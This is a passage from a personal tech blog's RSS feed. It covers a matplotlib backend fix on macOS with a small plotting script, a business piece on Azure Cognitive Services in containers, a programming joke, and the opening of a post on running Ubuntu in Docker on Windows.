&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;37&lt;/span&gt;  python                              0x0000000101968a42 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalCodeWithName + &lt;span style=&#34;color:#f5a97f&#34;&gt;418&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;38&lt;/span&gt;  python                              0x0000000101836a73 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyFunction&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;FastCallKeywords + &lt;span style=&#34;color:#f5a97f&#34;&gt;195&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;39&lt;/span&gt;  python                              0x0000000101977265 call&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;function + &lt;span style=&#34;color:#f5a97f&#34;&gt;181&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;40&lt;/span&gt;  python                              0x0000000101974daf &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;45215&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;41&lt;/span&gt;  python                              0x0000000101968a42 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalCodeWithName + &lt;span style=&#34;color:#f5a97f&#34;&gt;418&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;42&lt;/span&gt;  python                              0x00000001019cc9a0 PyRun&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;FileExFlags + &lt;span style=&#34;color:#f5a97f&#34;&gt;256&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;43&lt;/span&gt;  python                              0x00000001019cc104 PyRun&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;SimpleFileExFlags + &lt;span style=&#34;color:#f5a97f&#34;&gt;388&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;44&lt;/span&gt;  python                              0x00000001019f7edc pymain&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;main + &lt;span style=&#34;color:#f5a97f&#34;&gt;9148&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;45&lt;/span&gt;  python                              0x0000000101808ece main + &lt;span style=&#34;color:#f5a97f&#34;&gt;142&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;46&lt;/span&gt;  libdyld.dylib                       0x00007fff7f32bed9 start + &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;47&lt;/span&gt;  ???                                 0x0000000000000003 0x0 + &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;libc++abi.dylib: terminating with uncaught exception of &lt;span style=&#34;color:#91d7e3&#34;&gt;type&lt;/span&gt; NSException
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt;Done&lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt; exited with &lt;span style=&#34;color:#f4dbd6&#34;&gt;code&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;null in 1.017 seconds&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The main reason this fails is that one has to be a little more explicit with matplot (the library that we are trying to use). Matplot has this &lt;a
	
		href = &#34;https://matplotlib.org/faq/usage_faq.html#what-is-a-backend&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		concept of backends
	&lt;/span&gt;
&lt;/a&gt;, which essentially is the runtime dependencies needed to support various execution environments - including both interactive and non-interactive environments.&lt;/p&gt;
&lt;p&gt;For matplot to work on a mac, the raster graphics c++ library that it uses is based on something called &lt;a
	
		href = &#34;http://antigrain.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Anti-Grain Geometry (AGG)
	&lt;/span&gt;
&lt;/a&gt;. And for the library to render, we need to be explicit on which agg to use (there are multiple raster libraries).&lt;/p&gt;
&lt;p&gt;In addition on a mac OS X there is a limitation when rendering in OSX windows (presently lacks blocking show() behavior when matplotlib is in non-interactive mode).&lt;/p&gt;
&lt;p&gt;To get around this, we explicitly tell matplot to use the specific agg (&amp;ldquo;TkAgg in our case) and then it will all work. I have a updated code sample below, which adds more points, and also waits for the console input, so one can see what the output looks like.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;matplotlib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;matplotlib&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;use(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;TkAgg&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;matplotlib&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; pyplot &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; plt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;numpy&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;np&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;waitforuser&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Press enter to continue ...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;linspace(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create a list of evenly-spaced numbers over the range&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sin(x)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(x)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;waitforuser()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(y)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;waitforuser()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;plot(x,y)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;show()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And incase you are wondering what it looks like, below are a few screenshots showing the output.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Screen-Shot-1.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i2.wp.com/desigeek.com/blog/amit/wp-content/uploads/2019/01/Screen-Shot-2.png?fit=660%2C747&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i2.wp.com/desigeek.com/blog/amit/wp-content/uploads/2019/01/Screen-Shot-2019-01-18-at-2.41.40-PM.png?fit=660%2C550&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;To get everything working, make sure you setup the &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/python/linting&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Linting
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/python/debugging&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		debugger
	&lt;/span&gt;
&lt;/a&gt;, and the &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/python/environments&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		python environment
	&lt;/span&gt;
&lt;/a&gt; properly. And of course, you can go &lt;a
	
		href = &#34;https://code.visualstudio.com/docs/python/tutorial-deploy-containers&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		nuts with containers
	&lt;/span&gt;
&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Happy coding!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Azure Cognitive Services in containers is the smart way to go</title>
      <link>/post/2019/01/azure-cognitive-services-in-containers-is-the-smart-way-to-go/</link>
      <pubDate>Sun, 13 Jan 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/01/azure-cognitive-services-in-containers-is-the-smart-way-to-go/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/azure-containers.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;{Cross posted from &lt;a
	
		href = &#34;https://www.avanade.com/en/blogs/avanade-insights/artificial-intelligence/azure-containers-smart-way-to-go&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my post on Avanade
	&lt;/span&gt;
&lt;/a&gt;}&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Containers just got smarter.&lt;/strong&gt;&lt;br&gt;
That’s the news from Microsoft, which announced recently that &lt;a
	
		href = &#34;https://azure.microsoft.com/en-us/blog/bringing-ai-to-the-edge/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure Cognitive Services now supports containers
	&lt;/span&gt;
&lt;/a&gt;. The marriage of AI and containers is a technology story, of course, but it’s a potentially even bigger business story, one that affects where and how you can do business and gain competitive advantage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First, the technology story&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Containers aren’t new, of course. They’re an increasingly popular technology with a big impact on business. That’s because they boost the agility and flexibility with which a business can roll out new tools to employees and new products and services to customers.&lt;/p&gt;
&lt;p&gt;With containers, a business can get software releases and changes out faster and more frequently, increasing its competitive advantage. Because containers abstract applications from their underlying operating systems and other services—like virtual machines abstracted from hardware—those applications can run anywhere: in the cloud, on a laptop, in a kiosk or in an intelligent Internet-of-Things (IoT) edge device in the field.&lt;/p&gt;
&lt;p&gt;In many respects this frees up the application’s developer, who can focus on creating the best, most useful software for the business. With Microsoft’s announcement, that software can now more easily include object detection, vision recognition, text and language understanding.&lt;/p&gt;
&lt;p&gt;At Avanade, we take containers a step further by including support for them in our modern engineering platform, a key part of our overall approach to &lt;a
	
		href = &#34;https://www.avanade.com/en/thinking/new-economics-of-it/intelligent-it&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		intelligent IT
	&lt;/span&gt;
&lt;/a&gt;. So, you can automate your creation and management of containers—including AI-enabled containers—for a faster, easier, more seamless DevOps process. You can take greater advantage of IoT capabilities and move technologies such as AI closer to the edge, where they can reduce latency and boost performance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What AI containers do for business&lt;/strong&gt;&lt;br&gt;
And you can do much more, which is where the business story gets interesting. With the greater agility and adaptability that comes with container-based AI services, you can respond more quickly to new competition, regulatory environments and business models. That contrasts with the more limited responses that have been possible with traditional, cloud-based AI. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For example, data sovereignty laws and GDPR requirements&lt;/strong&gt; generally restrict the transfer of data to the cloud, where cloud-based cognitive services can interact with it. Now, with containers that support cognitive services, you can avoid those restrictions by running your services locally.&lt;/p&gt;
&lt;p&gt;A retail bank might use containerized AI to identify customers, address their needs, process payments and offer additional services, boosting customer satisfaction and bank revenue—all without sending private financial data outside the region (or even outside the bank) in accordance with GDPR.&lt;/p&gt;
&lt;p&gt;Similarly, regional medical centers and clinics subject to HIPAA privacy laws in the US can process protected information on site with containerized AI to cut patient wait times and deliver better health outcomes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Or, think about limited-connectivity or disconnected environments&lt;/strong&gt;—such as manufacturing shop floors, remote customer sites or oil rigs or tankers—that can’t count on accessing AI that resides in the always-on cloud. Previously, these sites might have had to batch their data to process it during narrow periods of cloud connectivity, with the delays greatly limiting the timeliness and usefulness of AI.&lt;/p&gt;
&lt;p&gt;Now, these sites can combine IoT and AI to anticipate and respond to manufacturing disruptions before they occur, increasing safety, productivity and product quality while reducing errors and costs.&lt;/p&gt;
&lt;p&gt;If you can’t bring your data to your AI, now you can bring your AI to your data. That’s the message of container-hosted AI and the modern engineering platform. Together, they optimize your ability to bring AI into environments where you can’t count on the cloud. Using AI where you couldn’t before makes innovative solutions possible—and innovative solutions deliver competitive advantage. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Boost ROI and scale&lt;/strong&gt;&lt;br&gt;
If you’re already using Azure Cognitive Services, you’ve invested time and money to train the models that support your use cases. Because those models are now portable, you can take advantage of them in regulated, limited-connectivity and disconnected environments, increasing your return on that investment. &lt;/p&gt;
&lt;p&gt;You can also scale your use of AI with a combination of cloud- and container-based architectures. That enables you to apply the most appropriate architectural form for any given environment or use. At the same time, you’re deploying consistent AI technology across the enterprise, increasing reliability while decreasing your operating cost.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keep in mind…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here are three things to keep in mind as you think about taking advantage of this important news:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Break the barriers between your data scientists and business creatives.&lt;/strong&gt; Containerized cognitive services is about far more than putting AI where you couldn’t before. It’s about using it in exciting new ways to advance the business. Unless you have heterogeneous teams bringing diverse perspectives to the table, you may miss some of the most important innovation possibilities for your business.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You need a cloud strategy that’s not just about the cloud.&lt;/strong&gt; If you don’t yet have a cloud strategy, you’re behind the curve. But if your cloud strategy is limited to the cloud, you may be about to fall behind the &lt;em&gt;next&lt;/em&gt; curve. Microsoft’s announcement is further proof that the cloud is crucial to the enterprise—and also part of a larger environment, including both legacy and edge platforms, with which it must integrate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Be prepared for the ethics issues.&lt;/strong&gt; Putting cognitive services in places you couldn’t before could raise new ethics issues. After all, we’re talking about the ability to read people’s expressions and even their emotions. This shouldn’t put you off—but it should put you on alert. Plug your ethics committee into these discussions when appropriate. If you don’t already have an ethics committee, create one. But that’s another post. :)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Want to learn more?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Microsoft’s announcement furthers the democratization of AI: the use of AI in more places and in more ways throughout the enterprise and beyond. Whether you turn to us for your AI solutions or look to us to assist you in developing your own, we’re ready to help with the greatest concentration of Microsoft expertise outside of Microsoft itself.&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/hdfbn4Q8jbo?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Bugs</title>
      <link>/post/2018/12/bugs/</link>
      <pubDate>Wed, 26 Dec 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/12/bugs/</guid>
      <description>&lt;p&gt;It is a known bug with the programming language. :)&lt;/p&gt;
&lt;p&gt;#GeekyJokes #ProgrammerHumor&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Docker container running Ubuntu on Windows</title>
      <link>/post/2018/12/docker-container-running-ubuntu-on-windows/</link>
      <pubDate>Fri, 07 Dec 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/12/docker-container-running-ubuntu-on-windows/</guid>
      <description>&lt;p&gt;Containers are all the rage right now and rightfully so - not only do they help abstract away some of the complexity and dependencies of your apps and solutions, they also make managing of environments, and, deployments much simpler. And the fact that you can do it in a consistent, and repeatable fashion is just icing on the cake.&lt;/p&gt;
&lt;p&gt;As a simple example, with Docker, on Windows (as in my case), I can run a dockerized app, on a different OS than the host, which can also be interactive. &lt;/p&gt;
&lt;p&gt;The command below will spawn a container, pull down the image of Ubuntu and then run an interactive terminal, tying the terminal to the standard input. Of course in this example, this requires that you already have &lt;a
	
		href = &#34;https://docs.docker.com/install/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Docker installed
	&lt;/span&gt;
&lt;/a&gt; (the Community Edition would be just fine to play around with).&lt;/p&gt;
